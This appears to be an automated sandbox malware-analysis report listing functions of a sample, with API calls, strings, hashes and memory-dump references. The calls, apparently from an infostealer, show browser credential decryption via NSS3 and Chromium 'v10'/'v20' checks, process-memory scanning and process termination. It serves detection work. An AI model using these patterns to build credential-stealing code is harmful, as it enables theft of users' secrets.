Instruction Fuzzy Hash: 75B1A2B1E002199FCB14EF64DC889EF77B5BF48304F14486AE505A7291DB789E45CFA4

Function 6CB36CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC01DE0,?), ref: 6CB36CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB36D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CB36D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CB36D82
DER_GetInteger_Util.NSS3(?), ref: 6CB36DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB36DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CB36E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CB36F19
PK11_DigestBegin.NSS3(00000000), ref: 6CB36F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CB36F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB37011
PK11_FreeSymKey.NSS3(00000000), ref: 6CB37033
free.MOZGLUE(?), ref: 6CB3703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CB37060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CB37087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CB370AF

Memory Dump Source

Source File: 00000000.00000002.2676354714.000000006CA51000.00000020.00000001.01000000.00000011.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2676328194.000000006CA50000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676537460.000000006CC2E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676563825.000000006CC2F000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676590401.000000006CC30000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676617693.000000006CC35000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_2BI8rJKpBa.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ea422428995f8a5379b30526f4ca339138a9a842d8b03b0fef1c10579d7f052e
Instruction ID: ec834ba6a008d766836229bca188c573bc169a55046d6c482e88ed603237f3ab
Opcode Fuzzy Hash: ea422428995f8a5379b30526f4ca339138a9a842d8b03b0fef1c10579d7f052e
Instruction Fuzzy Hash: 0AA107719082E09BEB009B24DC45B6B32A4FB8130CF245A39E91DDBB95E779D84DC793

Function 00421640 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 141stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?), ref: 00421681
lstrcpy.KERNEL32(00000000,0080BB70), ref: 004216AC
lstrlenA.KERNEL32(?,?,?,?), ref: 004216B9
lstrcpy.KERNEL32(00000000,00000000), ref: 004216D6
lstrcatA.KERNEL32(00000000,?,?,?,?), ref: 004216E4
lstrcpy.KERNEL32(00000000,00000000), ref: 0042170A
lstrlenA.KERNEL32(0080D3E8,?,?,?), ref: 0042171F
lstrcpy.KERNEL32(00000000,?), ref: 00421742
lstrcatA.KERNEL32(00000000,0080D3E8,?,?,?), ref: 0042174A
lstrcpy.KERNEL32(00000000,00000000), ref: 00421772
ShellExecuteEx.SHELL32(?), ref: 004217AD
ExitProcess.KERNEL32 ref: 004217E3

Strings

<, xrefs: 0042178E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$ExecuteExitFileModuleNameProcessShell
String ID: <
API String ID: 3579039295-4251816714
Opcode ID: a2b1b80a42219d4241df8e33b696ddbb4b5d403c491a2de4711dc44bbcbf402c
Instruction ID: 3cafa56afbd9ccee33885c1b980b45784b770a13a44ea29e66fc26fc557a64a1
Opcode Fuzzy Hash: a2b1b80a42219d4241df8e33b696ddbb4b5d403c491a2de4711dc44bbcbf402c
Instruction Fuzzy Hash: A2519471A01629AFCB10DFA5DD84A9FB7FAAF94300F44513AE505E33A1DB74AE018F94

Function 0041C940 Relevance: 21.2, APIs: 14, Instructions: 207stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041C965
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041C9A2
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041C9D1
lstrlenA.KERNEL32(00000000), ref: 0041C9FC
lstrcpy.KERNEL32(00000000,00000000), ref: 0041CA32
StrCmpCA.SHLWAPI(00000000,00435214), ref: 0041CA43
strtok_s.MSVCRT ref: 0041CB87

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID:
API String ID: 2116072422-0
Opcode ID: 75b00226602fac78bfa5d0c448c64ae8dc1a0358dc6bd925cb1efb2ca57b77fc
Instruction ID: cdc2200705cb6f68b494bfee7ecf0fc19092412485a1398906b3afba2378332d
Opcode Fuzzy Hash: 75b00226602fac78bfa5d0c448c64ae8dc1a0358dc6bd925cb1efb2ca57b77fc
Instruction Fuzzy Hash: 8561C472E402159BCB10AFB5DC89AEF7BB4AF08744F00416AE801F7391D778D9418BE9

Function 0041F100 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 163stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041F134
lstrcpy.KERNEL32(00000000,?), ref: 0041F162
StrCmpCA.SHLWAPI(00000000,ERROR,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F176
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F185
LocalAlloc.KERNEL32(00000040,00000001,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F1A3
StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F1D1
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F1E4
strtok.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F1F6
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041F67A), ref: 0041F202
lstrcpy.KERNEL32(00000000,ERROR), ref: 0041F24F
lstrcpy.KERNEL32(00000000,ERROR), ref: 0041F28F

Strings

ERROR, xrefs: 0041F170, 0041F20F, 0041F249, 0041F289

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$AllocLocalstrtok
String ID: ERROR
API String ID: 2137491262-2861137601
Opcode ID: 4d3dd2f9ad866fa4fc63332f56de1a85acc6f7d5b556e0fe81cbde6a320b067b
Instruction ID: 88d477be391ea7e858bbc3d1f012c059ee37ce01f4a15dd714dc6659e36fce3f
Opcode Fuzzy Hash: 4d3dd2f9ad866fa4fc63332f56de1a85acc6f7d5b556e0fe81cbde6a320b067b
Instruction Fuzzy Hash: 5A51DB75A002019FCB20AF79CD49AAB77B5AF44314F04407AF949EB3A1DB78DC468BD8

Function 00425F10 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00425F5A
std::_Xinvalid_argument.LIBCPMT ref: 00425F79
memmove.MSVCRT(FFFFFFFF,00000000,00000000,?,?,00000000), ref: 00425FD4
memcpy.MSVCRT(00000010,?,?), ref: 00425FF8
memcpy.MSVCRT(00000000,?,?), ref: 0042600D
memmove.MSVCRT(00000000,00000000,FFFFFFFF,?,?,00000000), ref: 00426044
memmove.MSVCRT(00000000,00000000,?), ref: 004260CF
std::_Xinvalid_argument.LIBCPMT ref: 00426100

Strings

invalid string position, xrefs: 004260FB
string too long, xrefs: 00425F55, 00425F74

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentmemmovestd::_$memcpy
String ID: invalid string position$string too long
API String ID: 3127524314-4289949731
Opcode ID: c57b43f8d9ca12173ea1cd674f5301fdae996de13ca78678439028f79a1afaca
Instruction ID: bd7786bba322685aca3d775d49518ed0f1fbae7fc42414a175b07d0b082bde9e
Opcode Fuzzy Hash: c57b43f8d9ca12173ea1cd674f5301fdae996de13ca78678439028f79a1afaca
Instruction Fuzzy Hash: 7D61C330700620DBDB28CF5CEA8496EB3B6EF85304BA5495AE492C7381C735ED81DB9D

Function 00418240 Relevance: 18.2, APIs: 12, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00418263
lstrlenA.KERNEL32(00000000), ref: 0041829C
lstrcpy.KERNEL32(00000000,00000000), ref: 004182D3
lstrlenA.KERNEL32(00000000), ref: 004182F0
lstrcpy.KERNEL32(00000000,00000000), ref: 00418327
lstrlenA.KERNEL32(00000000), ref: 00418344
lstrcpy.KERNEL32(00000000,00000000), ref: 0041837B
lstrlenA.KERNEL32(00000000), ref: 00418398
lstrcpy.KERNEL32(00000000,00000000), ref: 004183C7
lstrlenA.KERNEL32(00000000), ref: 004183E1
lstrcpy.KERNEL32(00000000,00000000), ref: 00418410
strtok_s.MSVCRT ref: 0041842A

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$strtok_s
String ID:
API String ID: 2211830134-0
Opcode ID: 0bbcc71595dd1a2e051c0e86811efe50e4e8d1478e01b75077e748adb3c46e99
Instruction ID: 84294ead90c4b52274de6bcb271b081bded899c4d10f8e28530b9caff154e1d2
Opcode Fuzzy Hash: 0bbcc71595dd1a2e051c0e86811efe50e4e8d1478e01b75077e748adb3c46e99
Instruction Fuzzy Hash: F3516F716006139BDB149F39D948AABB7A5EF04340F10412AEC05E7384EF78E991CBE4

Function 00424520 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042453A
GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,?,00415328), ref: 00424565
HeapAlloc.KERNEL32(00000000,?,?,?,00415328), ref: 0042456C
wsprintfW.USER32 ref: 0042457B
OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004245EA
TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004245F9
CloseHandle.KERNEL32(00000000,?,?), ref: 00424600

Strings

%hs, xrefs: 00424575
(SA, xrefs: 0042460D
(SA, xrefs: 00424548, 00424581, 00424613, 004245AE, 0042454B, 00424595, 004245B9, 00424616

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID: (SA$%hs$(SA
API String ID: 396451647-89675660
Opcode ID: 23f6df0aee13abbe48713830446fea921b81719013261d726a78cceb89220a64
Instruction ID: 89ce5600fa326490c2dd63c87fd7f6f84ae0590c3a0c6554d097293cba4e682b
Opcode Fuzzy Hash: 23f6df0aee13abbe48713830446fea921b81719013261d726a78cceb89220a64
Instruction Fuzzy Hash: E3314171B00215BBDB10DBA4EC49FDE7779EF45740F104059FA05E7180DBB4AA418BA9

Function 004180E0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00418105
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0042093B), ref: 0041814B
lstrcpy.KERNEL32(00000000,00000000), ref: 0041817A
StrCmpCA.SHLWAPI(00000000,00435214,?,?,?,?,?,0042093B), ref: 00418192
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0042093B), ref: 004181D0
lstrcpy.KERNEL32(00000000,00000000), ref: 004181FF
strtok_s.MSVCRT ref: 0041820F

Strings

fplugins, xrefs: 004180E6
;B, xrefs: 004180F1, 00418209, 004180FB, 0041820C

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlenstrtok_s
String ID: ;B$fplugins
API String ID: 3280532728-1193078497
Opcode ID: 54a7148fb9117c04017e6dbc8a8302a04febd920c4094e21cdbf0c125b509c18
Instruction ID: c5e15c54562f814d203dd0d0cbf64638575b76005400774c8011f1fc3a60ad81
Opcode Fuzzy Hash: 54a7148fb9117c04017e6dbc8a8302a04febd920c4094e21cdbf0c125b509c18
Instruction Fuzzy Hash: B841A076600206AFCB21DF68D948BABBBF4EF44700F11415EE859E7254EF78D982CB94

Function 6CAF4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CAFAB7F,?,00000000,?), ref: 6CAF4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CAFAB7F,?,00000000,?), ref: 6CAF4CC8
TlsGetValue.KERNEL32(?,6CAFAB7F,?,00000000,?), ref: 6CAF4CE0
EnterCriticalSection.KERNEL32(?,?,6CAFAB7F,?,00000000,?), ref: 6CAF4CF4
PL_HashTableLookup.NSS3(?,?,?,6CAFAB7F,?,00000000,?), ref: 6CAF4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CAF4D10

Part of subcall function 6CB7DD70: TlsGetValue.KERNEL32 ref: 6CB7DD8C
Part of subcall function 6CB7DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB7DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CAF4D26

Part of subcall function 6CB99DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBE0A27), ref: 6CB99DC6
Part of subcall function 6CB99DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBE0A27), ref: 6CB99DD1
Part of subcall function 6CB99DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB99DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CAF4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CAF4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CAF4E02

Memory Dump Source

Source File: 00000000.00000002.2676354714.000000006CA51000.00000020.00000001.01000000.00000011.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2676328194.000000006CA50000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676537460.000000006CC2E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676563825.000000006CC2F000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676590401.000000006CC30000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2676617693.000000006CC35000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_2BI8rJKpBa.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: c18e05e85ced8d99fa71d6268724abe7c69f6224df19d358fefe28fd346c0ddd
Instruction ID: b979f8bc5e2ac705efaa2c33e6d9a42a34de7f28504a8b26a57d0a5c063c1029
Opcode Fuzzy Hash: c18e05e85ced8d99fa71d6268724abe7c69f6224df19d358fefe28fd346c0ddd
Instruction Fuzzy Hash: E341BCB5A006059BEB115F38EE44A9677B8EF09258F094170FC2897711FB31D999C7E1

Function 00422110 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 224stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00422123
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,0042241F,00000000,00000000,00000000), ref: 00422151

Part of subcall function 00421F50: strlen.MSVCRT ref: 00421F64
Part of subcall function 00421F50: strlen.MSVCRT ref: 00421F7F
Part of subcall function 00421F50: strlen.MSVCRT ref: 0042203F

VirtualQueryEx.KERNEL32(00000000,00000000,?,0000001C), ref: 004221A1
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00064000,00000000), ref: 00422202

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0042211B

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 2950663791-4138519520
Opcode ID: 5f22f852f911648684d29da74b084fa72ebcd17b9faf89f03cc1c32076f21603
Instruction ID: d785ff52a5dd7390b49414302fc95204062c406bfb30aadfeda370abc5ad47bc
Opcode Fuzzy Hash: 5f22f852f911648684d29da74b084fa72ebcd17b9faf89f03cc1c32076f21603
Instruction Fuzzy Hash: 3D710431B00129ABDB14CFA4EE40AAFB7B6EB88310F54816AF915E7340D678DD41C7A8

Function 00409E40 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 182memorystringCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E64
memcmp.MSVCRT(?,v10,00000003), ref: 00409EA2
memset.MSVCRT ref: 00409ECF
LocalAlloc.KERNEL32(00000040), ref: 00409F07

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

lstrcpy.KERNEL32(00000000,0043224C), ref: 0040A012

Strings

v10, xrefs: 00409E9C
v20, xrefs: 00409E5E
@, xrefs: 00409EE8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpymemcmp$AllocLocalmemset
String ID: @$v10$v20
API String ID: 3420379846-278772428
Opcode ID: 72ccf791310e60d2f645274ce9e0c9bc727859c8df195e984857d668dcb44477
Instruction ID: 1a22c5daefe5309375fa2dee767e1916dc423b0c3f10de0f9962e177118226a8
Opcode Fuzzy Hash: 72ccf791310e60d2f645274ce9e0c9bc727859c8df195e984857d668dcb44477
Instruction Fuzzy Hash: F851BD71A102199BDB10EFA5DC45B9F77A4AF04318F14407AF948BB2D2DBB8ED058BD8

Function 00418470 Relevance: 13.6, APIs: 9, Instructions: 143stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00418493
lstrlenA.KERNEL32(00000000), ref: 004184C5
lstrcpy.KERNEL32(00000000,00000000), ref: 004184FC
lstrlenA.KERNEL32(00000000), ref: 00418542
lstrcpy.KERNEL32(00000000,00000000), ref: 00418575
lstrlenA.KERNEL32(00000000), ref: 0041858B
lstrcpy.KERNEL32(00000000,00000000), ref: 004185BA
StrCmpCA.SHLWAPI(00000000,00435214), ref: 004185CA
strtok_s.MSVCRT ref: 004185FA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$strtok_s
String ID:
API String ID: 2211830134-0
Opcode ID: f6e95a09df9f0cdbb94d70fb56183271eef128ed7569238fe02910a5735c47c1
Instruction ID: 7c428e316a6bfef2d1c7a875b1bff73ae73c0d56aa87dc46486a2b8a44f3865d
Opcode Fuzzy Hash: f6e95a09df9f0cdbb94d70fb56183271eef128ed7569238fe02910a5735c47c1
Instruction Fuzzy Hash: 8A516075500202ABCB24DF69D984A97B7B6EF44310F14846EEC45EB356EF38D981CBA8

Function 0042929D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004292A9

Part of subcall function 0042882F: __getptd_noexit.LIBCMT ref: 00428832
Part of subcall function 0042882F: __amsg_exit.LIBCMT ref: 0042883F

__amsg_exit.LIBCMT ref: 004292C9
__lock.LIBCMT ref: 004292D9
InterlockedDecrement.KERNEL32(?), ref: 004292F6
free.MSVCRT ref: 00429309
InterlockedIncrement.KERNEL32(00437558), ref: 00429321

Strings

XuC, xrefs: 0042930F, 00429317

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID: XuC
API String ID: 634100517-544422787
Opcode ID: 9a56a7c65aae91a0ab1cce95aefc851e93552a6559dbc3ae15a8e5258564e666
Instruction ID: 79401e2d8c0d6bfe2768db0bad4fcd27f010caba131a777052924d32608c651d
Opcode Fuzzy Hash: 9a56a7c65aae91a0ab1cce95aefc851e93552a6559dbc3ae15a8e5258564e666
Instruction Fuzzy Hash: 31018B71B05B35EBDB21AB69B80575AB360BF04B14F85012BE800A3290CB3C6C41DBED

